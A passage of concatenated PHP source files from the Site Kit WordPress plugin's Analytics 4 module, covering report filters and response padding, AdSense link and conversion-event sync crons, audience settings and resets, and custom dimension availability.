$numeric_from_value->setInt64Value( $from_value ); $numeric_to_value = new NumericValue(); $numeric_to_value->setInt64Value( $to_value ); $between_filter = new Google_Service_AnalyticsData_BetweenFilter(); $between_filter->setFromValue( $numeric_from_value ); $between_filter->setToValue( $numeric_to_value ); $filter = new Google_Service_AnalyticsData_Filter(); $filter->setFieldName( $metric_name ); $filter->setBetweenFilter( $between_filter ); $expression = new Google_Service_AnalyticsData_FilterExpression(); $expression->setFilter( $filter ); return $expression; } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Report\Filter * * @package Google\Site_Kit\Modules\Analytics_4\Report\Filters * @copyright 2023 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4\Report\Filters; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\FilterExpression as Google_Service_AnalyticsData_FilterExpression; /** * Interface for a filter class. * * @since 1.106.0 * @since 1.147.0 Moved from `Analytics_4\Report\Dimension_Filters` to `Analytics_4\Report\Filters` for use with both dimensions and metrics. */ interface Filter { /** * Converts the filter into the GA4 compatible filter expression. * * @since 1.106.0 * * @param string $name Filter name. * @param mixed $value Filter value. * @return Google_Service_AnalyticsData_FilterExpression The filter expression instance. */ public function parse_filter_expression( $name, $value ); } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Report\Response * * @package Google\Site_Kit\Modules\Analytics_4\Report * @copyright 2023 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4\Report; use Google\Site_Kit\Core\REST_API\Data_Request; use Google\Site_Kit\Modules\Analytics_4\Report; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\DateRange as Google_Service_AnalyticsData_DateRange; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\Row as Google_Service_AnalyticsData_Row; use Google\Site_Kit_Dependencies\Google\Service\AnalyticsData\RunReportResponse as Google_Service_AnalyticsData_RunReportResponse; /** * Class for Analytics 4 report responses. * * @since 1.99.0 * @access private * @ignore */ class Response extends Report { use Row_Trait; /** * Parses the report response, and pads the report data with zero-data rows where rows are missing. This only applies for reports which request a single `date` dimension. * * @since 1.99.0 * * @param Data_Request $data Data request object. * @param Google_Service_AnalyticsData_RunReportResponse $response Request response. * @return mixed Parsed response data on success, or WP_Error on failure. */ public function parse_response( Data_Request $data, $response ) { // Return early if the response is not of the expected type. if ( ! $response instanceof Google_Service_AnalyticsData_RunReportResponse ) { return $response; } // Get report dimensions and return early if there is either more than one dimension or // the only dimension is not "date". $dimensions = $this->parse_dimensions( $data ); if ( count( $dimensions ) !== 1 || $dimensions[0]->getName() !== 'date' ) { return $response; } // Get date ranges and return early if there are no date ranges for this report. $date_ranges = $this->get_sorted_dateranges( $data ); if ( empty( $date_ranges ) ) { return $response; } // Get all available dates in the report. $existing_rows = array(); foreach ( $response->getRows() as $row ) { $dimension_values = $row->getDimensionValues(); $range = 'date_range_0'; if ( count( $dimension_values ) > 1 ) { // Considering this code will only be run when we are requesting a single dimension, `date`, // the implication is that the row will _only_ have an additional dimension when multiple // date ranges are requested. // // In this scenario, the dimension at index 1 will have a value of `date_range_{i}`, where // `i` is the zero-based index of the date range. $range = $dimension_values[1]->getValue(); } $range = str_replace( 'date_range_', '', $range ); $date = $dimension_values[0]->getValue(); $key = self::get_response_row_key( $date, is_numeric( $range ) ? $range : false ); $existing_rows[ $key ] = $row; } $metric_headers = $response->getMetricHeaders(); $ranges_count = count( $date_ranges ); $multiple_ranges = $ranges_count > 1; $rows = array(); // Add rows for the current date for each date range. self::iterate_date_ranges( $date_ranges, function ( $date ) use ( &$rows, $existing_rows, $date_ranges, $ranges_count, $metric_headers, $multiple_ranges ) { for ( $i = 0; $i < $ranges_count; $i++ ) { $date_range_name = $date_ranges[ $i ]->getName(); if ( empty( $date_range_name ) ) { $date_range_name = $i; } // Copy the existing row if it is available, otherwise create a new zero-value row. $key = self::get_response_row_key( $date, $i ); $rows[ $key ] = isset( $existing_rows[ $key ] ) ? $existing_rows[ $key ] : $this->create_report_row( $metric_headers, $date, $multiple_ranges ? $date_range_name : false ); } } ); // If we have the same number of rows as in the response at the moment, then // we can return the response without setting the new rows back into the response. $new_rows_count = count( $rows ); if ( $new_rows_count <= $response->getRowCount() ) { return $response; } // If we have multiple date ranges, we need to sort rows to have them in // the correct order. if ( $multiple_ranges ) { $rows = self::sort_response_rows( $rows, $date_ranges ); } // Set updated rows back to the response object. $response->setRows( array_values( $rows ) ); $response->setRowCount( $new_rows_count ); return $response; } /** * Gets the response row key composed from the date and the date range index values. * * @since 1.99.0 * * @param string $date The date of the row to return key for. * @param int|bool $date_range_index The date range index, or FALSE if no index is available. * @return string The row key. */ protected static function get_response_row_key( $date, $date_range_index ) { return "{$date}_{$date_range_index}"; } /** * Returns sorted and filtered date ranges received in the request params. All corrupted date ranges * are ignored and not included in the returning list. * * @since 1.99.0 * * @param Data_Request $data Data request object. * @return Google_Service_AnalyticsData_DateRange[] An array of AnalyticsData DateRange objects. */ protected function get_sorted_dateranges( Data_Request $data ) { $date_ranges = $this->parse_dateranges( $data ); if ( empty( $date_ranges ) ) { return $date_ranges; } // Filter out all corrupted date ranges. $date_ranges = array_filter( $date_ranges, function ( $range ) { $start = strtotime( $range->getStartDate() ); $end = strtotime( $range->getEndDate() ); return ! empty( $start ) && ! empty( $end ); } ); // Sort date ranges preserving keys to have the oldest date range at the beginning and // the latest date range at the end. uasort( $date_ranges, function ( $a, $b ) { $a_start = strtotime( $a->getStartDate() ); $b_start = strtotime( $b->getStartDate() ); return $a_start - $b_start; } ); return $date_ranges; } /** * Sorts response rows using the algorithm similar to the one that Analytics 4 uses internally * and returns sorted rows. * * @since 1.99.0 * * @param Google_Service_AnalyticsData_Row[] $rows The current report rows. * @param Google_Service_AnalyticsData_DateRange[] $date_ranges The report date ranges. * @return Google_Service_AnalyticsData_Row[] Sorted rows. */ protected static function sort_response_rows( $rows, $date_ranges ) { $sorted_rows = array(); $ranges_count = count( $date_ranges ); self::iterate_date_ranges( $date_ranges, function ( $date, $range_index ) use ( &$sorted_rows, $ranges_count, $rows ) { // First take the main date range row. $key = self::get_response_row_key( $date, $range_index ); $sorted_rows[ $key ] = $rows[ $key ]; // Then take all remaining rows. for ( $i = 0; $i < $ranges_count; $i++ ) { if ( $i !== $range_index ) { $key = self::get_response_row_key( $date, $i ); $sorted_rows[ $key ] = $rows[ $key ]; } } } ); return $sorted_rows; } /** * Iterates over the date ranges and calls callback for each date in each range. * * @since 1.99.0 * * @param Google_Service_AnalyticsData_DateRange[] $date_ranges The report date ranges. * @param callable $callback The callback to execute for each date. */ protected static function iterate_date_ranges( $date_ranges, $callback ) { foreach ( $date_ranges as $date_range_index => $date_range ) { $now = strtotime( $date_range->getStartDate() ); $end = strtotime( $date_range->getEndDate() ); do { call_user_func( $callback, gmdate( 'Ymd', $now ), $date_range_index ); $now += DAY_IN_SECONDS; } while ( $now <= $end ); } } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Synchronize_AdSenseLinked * * @package Google\Site_Kit\Modules\Analytics_4 * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4; use Google\Site_Kit\Core\Permissions\Permissions; use Google\Site_Kit\Core\Storage\Options; use Google\Site_Kit\Core\Storage\User_Options; use Google\Site_Kit\Modules\Adsense; use Google\Site_Kit\Modules\Analytics_4; use Google\Site_Kit\Modules\AdSense\Settings as Adsense_Settings; /** * The base class for Synchronizing the adSenseLinked status. * * @since 1.123.0 * @access private * @ignore */ class Synchronize_AdSenseLinked { const CRON_SYNCHRONIZE_ADSENSE_LINKED = 'googlesitekit_cron_synchronize_adsense_linked_data'; /** * Analytics_4 instance. * * @since 1.123.0 * @var Analytics_4 */ protected $analytics_4; /** * User_Options instance. * * @since 1.123.0 * @var User_Options */ protected $user_options; /** * Options instance. * * @since 1.123.0 * @var Options */ protected $options; /** * Constructor. * * @since 1.123.0 * * @param Analytics_4 $analytics_4 Analytics 4 instance. * @param User_Options $user_options User_Options instance. * @param Options $options Options instance. */ public function __construct( Analytics_4 $analytics_4, User_Options $user_options, Options $options ) { $this->analytics_4 = $analytics_4; $this->user_options = $user_options; $this->options = $options; } /** * Registers functionality through WordPress hooks. * * @since 1.123.0 */ public function register() { add_action( self::CRON_SYNCHRONIZE_ADSENSE_LINKED, function () { $this->synchronize_adsense_linked_data(); } ); } /** * Cron callback for synchronizing the adsense linked data. * * @since 1.123.0 * @since 1.130.0 Added check for property ID, so it can return early if property ID is not set. */ protected function synchronize_adsense_linked_data() { $owner_id = $this->analytics_4->get_owner_id(); $restore_user = $this->user_options->switch_user( $owner_id ); $settings_ga4 = $this->analytics_4->get_settings()->get(); if ( empty( $settings_ga4['propertyID'] ) ) { return; } if ( user_can( $owner_id, Permissions::VIEW_AUTHENTICATED_DASHBOARD ) ) { $this->synchronize_adsense_linked_status(); } $restore_user(); } /** * Schedules single cron which will synchronize the adSenseLinked status. * * @since 1.123.0 */ public function maybe_schedule_synchronize_adsense_linked() { $analytics_4_connected = apply_filters( 'googlesitekit_is_module_connected', false, Analytics_4::MODULE_SLUG ); $adsense_connected = apply_filters( 'googlesitekit_is_module_connected', false, AdSense::MODULE_SLUG ); $cron_already_scheduled = wp_next_scheduled( self::CRON_SYNCHRONIZE_ADSENSE_LINKED ); if ( $analytics_4_connected && $adsense_connected && ! $cron_already_scheduled ) { wp_schedule_single_event( // Schedule the task to run in 24 hours. time() + ( DAY_IN_SECONDS ), self::CRON_SYNCHRONIZE_ADSENSE_LINKED ); } } /** * Synchronize the AdSenseLinked status. * * @since 1.123.0 * * @return null */ protected function synchronize_adsense_linked_status() { $settings_ga4 = $this->analytics_4->get_settings()->get(); $property_id = $settings_ga4['propertyID']; $property_adsense_links = $this->analytics_4->get_data( 'adsense-links', array( 'propertyID' => $property_id ) ); $current_adsense_options = ( new AdSense_Settings( $this->options ) )->get(); $current_adsense_client_id = ! empty( $current_adsense_options['clientID'] ) ? $current_adsense_options['clientID'] : ''; if ( is_wp_error( $property_adsense_links ) || empty( $property_adsense_links ) ) { return null; } $found_adsense_linked_for_client_id = false; // Iterate over returned AdSense links and set true if one is found // matching the same client ID. foreach ( $property_adsense_links as $property_adsense_link ) { if ( $current_adsense_client_id === $property_adsense_link['adClientCode'] ) { $found_adsense_linked_for_client_id = true; break; } } // Update the AdSenseLinked status and timestamp. $this->analytics_4->get_settings()->merge( array( 'adSenseLinked' => $found_adsense_linked_for_client_id, 'adSenseLinkedLastSyncedAt' => time(), ) ); } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Report * * @package Google\Site_Kit\Modules\Analytics_4 * @copyright 2023 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4; use Google\Site_Kit\Context; use Google\Site_Kit\Modules\Analytics_4\Report\ReportParsers; /** * The base class for Analytics 4 reports. * * @since 1.99.0 * @access private * @ignore */ class Report extends ReportParsers { /** * Plugin context. * * @since 1.99.0 * @var Context */ protected $context; /** * Constructor. * * @since 1.99.0 * * @param Context $context Plugin context. */ public function __construct( Context $context ) { $this->context = $context; } // NOTE: The majority of this classes logic has been abstracted to // ReportParsers which contains the methods for the Report class. } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Tag_Interface * * @package Google\Site_Kit\Modules\Analytics_4 * @copyright 2023 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4; /** * Interface for an Analytics 4 tag. * * @since 1.113.0 * @access private * @ignore */ interface Tag_Interface { /** * Sets custom dimensions data. * * @since 1.113.0 * * @param string $custom_dimensions Custom dimensions data. */ public function set_custom_dimensions( $custom_dimensions ); } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Audience_Settings * * @package Google\Site_Kit\Modules\Analytics_4 * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4; use Google\Site_Kit\Core\Storage\Setting; use Google\Site_Kit\Core\Storage\Setting_With_ViewOnly_Keys_Interface; /** * Class for Audience_Settings. * * @since 1.148.0 * @access private * @ignore */ class Audience_Settings extends Setting implements Setting_With_ViewOnly_Keys_Interface { /** * The option name for this setting. */ const OPTION = 'googlesitekit_analytics-4_audience_settings'; /** * Gets the default value for settings. * * @since 1.148.0 * * @return mixed The default value. */ public function get_default() { return array( 'availableAudiences' => null, 'availableAudiencesLastSyncedAt' => 0, 'audienceSegmentationSetupCompletedBy' => null, ); } /** * Gets the type of the setting. * * @since 1.148.0 * * @return string The type of the setting. */ public function get_type() { return 'array'; } /** * Gets the callback for sanitizing the setting's value before saving. * * @since 1.148.0 * * @return callable|null */ protected function get_sanitize_callback() { return function ( $option ) { return $this->sanitize( $option ); }; } /** * Gets the view-only keys for the setting. * * @since 1.148.0 * * @return array List of view-only keys. */ public function get_view_only_keys() { return array( 'availableAudiences', 'audienceSegmentationSetupCompletedBy', ); } /** * Merges the given settings with the existing ones. It will keep the old settings * value for the properties that are not present in the given settings. * * @since 1.148.0 * * @param array $settings The settings to merge. * * @return array The merged settings. */ public function merge( $settings ) { $existing_settings = $this->get(); $updated_settings = array_merge( $existing_settings, $settings ); $this->set( $updated_settings ); return $updated_settings; } /** * Sanitizes the settings. * * @since 1.148.0 * * @param array $option The option to sanitize. * * @return array The sanitized settings. */ private function sanitize( $option ) { $new_option = $this->get(); if ( isset( $option['availableAudiences'] ) ) { if ( is_array( $option['availableAudiences'] ) ) { $new_option['availableAudiences'] = $option['availableAudiences']; } else { $new_option['availableAudiences'] = null; } } if ( isset( $option['availableAudiencesLastSyncedAt'] ) ) { if ( is_int( $option['availableAudiencesLastSyncedAt'] ) ) { $new_option['availableAudiencesLastSyncedAt'] = $option['availableAudiencesLastSyncedAt']; } else { $new_option['availableAudiencesLastSyncedAt'] = 0; } } if ( isset( $option['audienceSegmentationSetupCompletedBy'] ) ) { if ( is_int( $option['audienceSegmentationSetupCompletedBy'] ) ) { $new_option['audienceSegmentationSetupCompletedBy'] = $option['audienceSegmentationSetupCompletedBy']; } else { $new_option['audienceSegmentationSetupCompletedBy'] = null; } } return $new_option; } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Reset_Audiences * * @package Google\Site_Kit\Modules\Analytics_4 * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4; use Google\Site_Kit\Core\Dismissals\Dismissed_Items; use Google\Site_Kit\Core\Prompts\Dismissed_Prompts; use Google\Site_Kit\Core\Storage\User_Options; use Google\Site_Kit\Core\User\Audience_Settings; use Google\Site_Kit\Modules\Analytics_4; /** * Class to reset Audience Segmentation Settings across multiple users. * * @since 1.137.0 * @access private * @ignore */ class Reset_Audiences { /** * User_Options instance. * * @since 1.137.0 * @var User_Options */ protected $user_options; /** * Dismissed_Prompts instance. * * @since 1.137.0 * @var Dismissed_Prompts */ protected $dismissed_prompts; /** * Dismissed_Items instance. * * @since 1.137.0 * @var Dismissed_Items */ protected $dismissed_items; /** * Audience Settings instance. * * @since 1.137.0 * @var Audience_Settings */ protected $audience_settings; const AUDIENCE_SEGMENTATION_DISMISSED_PROMPTS = array( 'audience_segmentation_setup_cta-notification' ); const AUDIENCE_SEGMENTATION_DISMISSED_ITEMS = array( 'audience-segmentation-add-group-notice', 'setup-success-notification-audiences', 'settings_visitor_groups_setup_success_notification', 'audience-segmentation-no-audiences-banner', 'audience-tile-*', ); /** * Constructor. * * @since 1.137.0 * * @param User_Options $user_options User option API. */ public function __construct( ?User_Options $user_options = null ) { $this->user_options = $user_options; $this->dismissed_prompts = new Dismissed_Prompts( $this->user_options ); $this->dismissed_items = new Dismissed_Items( $this->user_options ); $this->audience_settings = new Audience_Settings( $this->user_options ); } /** * Reset audience specific settings for all SK users. * * @since 1.137.0 */ public function reset_audience_data() { global $wpdb; // phpcs:ignore WordPress.DB.DirectDatabaseQuery $users = $wpdb->get_col( $wpdb->prepare( "SELECT DISTINCT user_id FROM $wpdb->usermeta WHERE meta_key IN (%s, %s) LIMIT 100 -- Arbitrary limit to avoid unbounded user iteration.", $this->user_options->get_meta_key( Dismissed_Items::OPTION ), $this->user_options->get_meta_key( Dismissed_Prompts::OPTION ), ) ); if ( $users ) { $backup_user_id = $this->user_options->get_user_id(); foreach ( $users as $user_id ) { $this->user_options->switch_user( $user_id ); // Remove Audience Segmentation specific dismissed prompts. foreach ( self::AUDIENCE_SEGMENTATION_DISMISSED_PROMPTS as $prompt ) { $this->dismissed_prompts->remove( $prompt ); } // Remove Audience Segmentation specific dismissed items. foreach ( self::AUDIENCE_SEGMENTATION_DISMISSED_ITEMS as $item ) { // Support wildcard matches, in order to delete all dismissed items prefixed with audience-tile-*. if ( strpos( $item, '*' ) !== false ) { $dismissed_items = $this->dismissed_items->get(); foreach ( array_keys( $dismissed_items ) as $existing_item ) { if ( str_starts_with( $existing_item, rtrim( $item, '*' ) ) ) { $this->dismissed_items->remove( $existing_item ); } } } else { // For non-wildcard items, remove them directly. $this->dismissed_items->remove( $item ); } } // Reset the user's audience settings. if ( $this->audience_settings->has() ) { $this->audience_settings->merge( array( 'configuredAudiences' => null, 'didSetAudiences' => false, 'isAudienceSegmentationWidgetHidden' => false, ), ); } } // Restore original user. $this->user_options->switch_user( $backup_user_id ); } } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Conversion_Reporting\Conversion_Reporting_Provider * * @package Google\Site_Kit * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4\Conversion_Reporting; use Google\Site_Kit\Context; use Google\Site_Kit\Core\Storage\Transients; use Google\Site_Kit\Core\Storage\User_Options; use Google\Site_Kit\Modules\Analytics_4; use Google\Site_Kit\Modules\Analytics_4\Settings; /** * Class providing the integration of conversion reporting. * * @since 1.135.0 * @access private * @ignore */ class Conversion_Reporting_Provider { /** * User_Options instance. * * @var User_Options */ private $user_options; /** * Analytics_4 instance. * * @var Analytics_4 */ private $analytics; /** * Conversion_Reporting_Cron instance. * * @var Conversion_Reporting_Cron */ private Conversion_Reporting_Cron $cron; /** * Conversion_Reporting_Events_Sync instance. * * @var Conversion_Reporting_Events_Sync */ private Conversion_Reporting_Events_Sync $events_sync; /** * Constructor. * * @since 1.135.0 * @since 1.139.0 Added Context to constructor. * * @param Context $context Plugin context. * @param Settings $settings Settings instance. * @param User_Options $user_options User_Options instance. * @param Analytics_4 $analytics analytics_4 instance. */ public function __construct( Context $context, Settings $settings, User_Options $user_options, Analytics_4 $analytics ) { $this->user_options = $user_options; $this->analytics = $analytics; $transients = new Transients( $context ); $new_badge_events_sync = new Conversion_Reporting_New_Badge_Events_Sync( $transients ); $this->events_sync = new Conversion_Reporting_Events_Sync( $settings, $transients, $this->analytics, $new_badge_events_sync ); $this->cron = new Conversion_Reporting_Cron( fn() => $this->cron_callback() ); } /** * Registers functionality through WordPress hooks. * * @since 1.135.0 */ public function register() { $this->cron->register(); add_action( 'load-toplevel_page_googlesitekit-dashboard', fn () => $this->on_dashboard_load() ); } /** * Handles the googlesitekit-dashboard page load callback. * * @since 1.135.0 */ protected function on_dashboard_load() { $this->cron->maybe_schedule_cron(); } /** * Handles the cron callback. * * @since 1.135.0 */ protected function cron_callback() { $owner_id = $this->analytics->get_owner_id(); $restore_user = $this->user_options->switch_user( $owner_id ); $this->events_sync->sync_detected_events(); $restore_user(); } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Conversion_Reporting\Conversion_Reporting_Cron * * @package Google\Site_Kit * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4\Conversion_Reporting; /** * Class providing cron implementation for conversion reporting. * * @since 1.135.0 * @access private * @ignore */ class Conversion_Reporting_Cron { const CRON_ACTION = 'googlesitekit_cron_conversion_reporting_events'; /** * Cron callback reference. * * @var callable */ private $cron_callback; /** * Constructor. * * @since 1.135.0 * * @param callable $callback Function to call on the cron action. */ public function __construct( callable $callback ) { $this->cron_callback = $callback; } /** * Registers functionality through WordPress hooks. * * @since 1.133.0 */ public function register() { add_action( self::CRON_ACTION, $this->cron_callback ); } /** * Schedules cron if not already set. * * @since 1.135.0 */ public function maybe_schedule_cron() { if ( ! wp_next_scheduled( self::CRON_ACTION ) && ! wp_installing() ) { wp_schedule_single_event( time() + DAY_IN_SECONDS, self::CRON_ACTION ); } } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Conversion_Reporting\Conversion_Reporting_New_Badge_Events_Sync * * @package Google\Site_Kit * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4\Conversion_Reporting; use Google\Site_Kit\Core\Storage\Transients; /** * Class providing implementation of "new" badge for detected conversion reporting events. * * @since 1.144.0 * @access private * @ignore */ class Conversion_Reporting_New_Badge_Events_Sync { /** * The detected events transient name. */ public const NEW_EVENTS_BADGE_TRANSIENT = 'googlesitekit_conversion_reporting_new_badge_events'; /** * The skip new badge events transient name. */ public const SKIP_NEW_BADGE_TRANSIENT = 'googlesitekit_conversion_reporting_skip_new_badge_events'; /** * Transients instance. * * @since 1.144.0 * @var Transients */ protected $transients; /** * Constructor. * * @since 1.144.0 * * @param Transients $transients Transients instance. */ public function __construct( Transients $transients ) { $this->transients = $transients; } /** * Saves new events badge to the expirable items. * * @since 1.144.0 * * @param array $new_events New events array. */ public function sync_new_badge_events( $new_events ) { $skip_events_badge = $this->transients->get( self::SKIP_NEW_BADGE_TRANSIENT ); if ( $skip_events_badge ) { $this->transients->delete( self::SKIP_NEW_BADGE_TRANSIENT ); return; } $new_events_badge = $this->transients->get( self::NEW_EVENTS_BADGE_TRANSIENT ); $save_new_badge_transient = fn( $events ) => $this->transients->set( self::NEW_EVENTS_BADGE_TRANSIENT, array( 'created_at' => time(), 'events' => $events, ), 7 * DAY_IN_SECONDS ); if ( ! $new_events_badge ) { $save_new_badge_transient( $new_events ); return; } $new_events_badge_elapsed_time = time() - $new_events_badge['created_at']; // If the transient existed for 3 days or less, prevent scenarios where // a new event is detected shortly after (within 1-3 days) the previous events. // This avoids shortening the "new badge" time for previous events. // Instead, we merge the new events with the previous ones to ensure the user sees all of them. if ( $new_events_badge_elapsed_time > ( 3 * DAY_IN_SECONDS ) ) { $save_new_badge_transient( $new_events ); return; } $events = array_merge( $new_events_badge['events'], $new_events ); $save_new_badge_transient( $events ); } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Conversion_Reporting\Conversion_Reporting_Events_Sync * * @package Google\Site_Kit * @copyright 2024 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4\Conversion_Reporting; use Google\Site_Kit\Modules\Analytics_4; use Google\Site_Kit\Modules\Analytics_4\Settings; use Google\Site_Kit\Core\Storage\Transients; /** * Class providing report implementation for available events for conversion reporting. * * @since 1.135.0 * @access private * @ignore */ class Conversion_Reporting_Events_Sync { /** * The detected events transient name. */ public const DETECTED_EVENTS_TRANSIENT = 'googlesitekit_conversion_reporting_detected_events'; /** * The lost events transient name. */ public const LOST_EVENTS_TRANSIENT = 'googlesitekit_conversion_reporting_lost_events'; const EVENT_NAMES = array( 'add_to_cart', 'purchase', 'submit_lead_form', 'generate_lead', 'contact', ); /** * Settings instance. * * @var Settings */ private $settings; /** * Analytics_4 instance. * * @var Analytics_4 */ private $analytics; /** * Conversion_Reporting_New_Badge_Events_Sync instance. * * @var Conversion_Reporting_New_Badge_Events_Sync */ private $new_badge_events_sync; /** * Transients instance. * * @since 1.139.0 * @var Transients */ protected $transients; /** * Constructor. * * @since 1.135.0 * @since 1.139.0 Added $context param to constructor. * @since 1.144.0 Added $transients and $new_badge_events_sync params to constructor, and removed $context. * * @param Settings $settings Settings module settings instance. * @param Transients $transients Transients instance. * @param Analytics_4 $analytics Analytics 4 module instance. * @param Conversion_Reporting_New_Badge_Events_Sync $new_badge_events_sync Conversion_Reporting_New_Badge_Events_Sync instance. */ public function __construct( Settings $settings, Transients $transients, Analytics_4 $analytics, Conversion_Reporting_New_Badge_Events_Sync $new_badge_events_sync ) { $this->settings = $settings; $this->transients = $transients; $this->analytics = $analytics; $this->new_badge_events_sync = $new_badge_events_sync; } /** * Syncs detected events into settings. * * @since 1.135.0 */ public function sync_detected_events() { $report = $this->get_report(); $detected_events = array(); if ( is_wp_error( $report ) ) { return; } // Get current stored detected events. $settings = $this->settings->get(); $saved_detected_events = isset( $settings['detectedEvents'] ) ? $settings['detectedEvents'] : array(); // phpcs:ignore WordPress.NamingConventions.ValidVariableName.UsedPropertyNotSnakeCase if ( empty( $report->rowCount ) ) { $this->settings->merge( array( 'detectedEvents' => array() ) ); $this->transients->delete( self::DETECTED_EVENTS_TRANSIENT ); if ( ! empty( $saved_detected_events ) ) { $this->transients->set( self::LOST_EVENTS_TRANSIENT, $saved_detected_events ); } return; } foreach ( $report->rows as $row ) { $detected_events[] = $row['dimensionValues'][0]['value']; } $settings_partial = array( 'detectedEvents' => $detected_events ); $this->maybe_update_new_and_lost_events( $detected_events, $saved_detected_events, $settings_partial ); $this->settings->merge( $settings_partial ); } /** * Saves new and lost events transients. * * @since 1.144.0 * * @param array $detected_events Currently detected events array. * @param array $saved_detected_events Previously saved detected events array. * @param array $settings_partial Analaytics settings partial. */ protected function maybe_update_new_and_lost_events( $detected_events, $saved_detected_events, &$settings_partial ) { $new_events = array_diff( $detected_events, $saved_detected_events ); $lost_events = array_diff( $saved_detected_events, $detected_events ); if ( ! empty( $new_events ) ) { $this->transients->set( self::DETECTED_EVENTS_TRANSIENT, array_values( $new_events ) ); $this->new_badge_events_sync->sync_new_badge_events( $new_events ); $settings_partial['newConversionEventsLastUpdateAt'] = time(); // Remove new events from lost events if present. $saved_lost_events = $this->transients->get( self::LOST_EVENTS_TRANSIENT ); if ( $saved_lost_events ) { $filtered_lost_events = array_diff( $saved_lost_events, $new_events ); $lost_events = array_merge( $lost_events, $filtered_lost_events ); } } if ( ! empty( $lost_events ) ) { $this->transients->set( self::LOST_EVENTS_TRANSIENT, array_values( $lost_events ) ); $settings_partial['lostConversionEventsLastUpdateAt'] = time(); } if ( empty( $saved_detected_events ) ) { $this->transients->set( self::DETECTED_EVENTS_TRANSIENT, $detected_events ); } } /** * Retrieves the GA4 report for filtered events. * * @since 1.135.0 */ protected function get_report() { $options = array( // The 'metrics' parameter is required. 'eventCount' is used to ensure the request succeeds. 'metrics' => array( array( 'name' => 'eventCount' ) ), 'dimensions' => array( array( 'name' => 'eventName', ), ), 'startDate' => gmdate( 'Y-m-d', strtotime( '-90 days' ) ), 'endDate' => gmdate( 'Y-m-d', strtotime( '-1 day' ) ), 'dimensionFilters' => array( 'eventName' => array( 'filterType' => 'inListFilter', 'value' => self::EVENT_NAMES, ), ), 'limit' => '20', ); return $this->analytics->get_data( 'report', $options ); } } <?php /** * Class Google\Site_Kit\Modules\Analytics_4\Custom_Dimensions_Data_Available * * @package Google\Site_Kit\Modules\Analytics_4 * @copyright 2023 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Modules\Analytics_4; use Google\Site_Kit\Core\Storage\Transients; /** * Class for updating Analytics 4 custom dimension data availability state. * * @since 1.113.0 * @access private * @ignore */ class Custom_Dimensions_Data_Available { /** * List of valid custom dimension slugs. * * @since 1.113.0 * @var array */ const CUSTOM_DIMENSION_SLUGS = array( 'googlesitekit_post_date', 'googlesitekit_post_author', 'googlesitekit_post_categories', 'googlesitekit_post_type', ); /** * Transients instance. * * @since 1.113.0 * @var Transients */ protected $transients; /** * Constructor. * * @since 1.113.0 * * @param Transients $transients Transients instance. */ public function __construct( Transients $transients ) { $this->transients = $transients; } /** * Gets data available transient name for the custom dimension. * * @since 1.113.0 * * @param string $custom_dimension Custom dimension slug. * @return string Data available transient name. */ protected function get_data_available_transient_name( $custom_dimension ) { return "googlesitekit_custom_dimension_{$custom_dimension}_data_available"; } /** * Gets data availability for all custom dimensions. * * @since 1.113.0 * * @return array Associative array of custom dimension names and their data availability state. */ public function get_data_availability() { return array_reduce( self::CUSTOM_DIMENSION_SLUGS, function ( $data_availability, $custom_dimension ) { $data_availability[ $custom_dimension ] = $this->is_data_available( $custom_dimension ); return $data_availability; }, array() ); } /** * Checks whether the data is available for the custom dimension. * * @since 1.113.0 * * @param string $custom_dimension Custom dimension slug. * @return bool True if data is available, false otherwise. */ protected function is_data_available( $custom_dimension ) { return (bool) $this->transients->get( $this->get_data_available_transient_name( $custom_dimension ) ); } /** * Sets the data available state for the custom dimension. * * @since 1.113.0 * * @param string $custom_dimension Custom dimension slug. * @return bool True on success, false otherwise. */ public function set_data_available( $custom_dimension ) { return $this->transients->set( $this->get_data_available_transient_name( $custom_dimension ), true ); } /** * Resets the data available state for all custom dimensions. * * @since 1.113.0 * @since 1.114.0 Added optional $custom_dimensions parameter. * * @param array $custom_dimensions Optional. List of 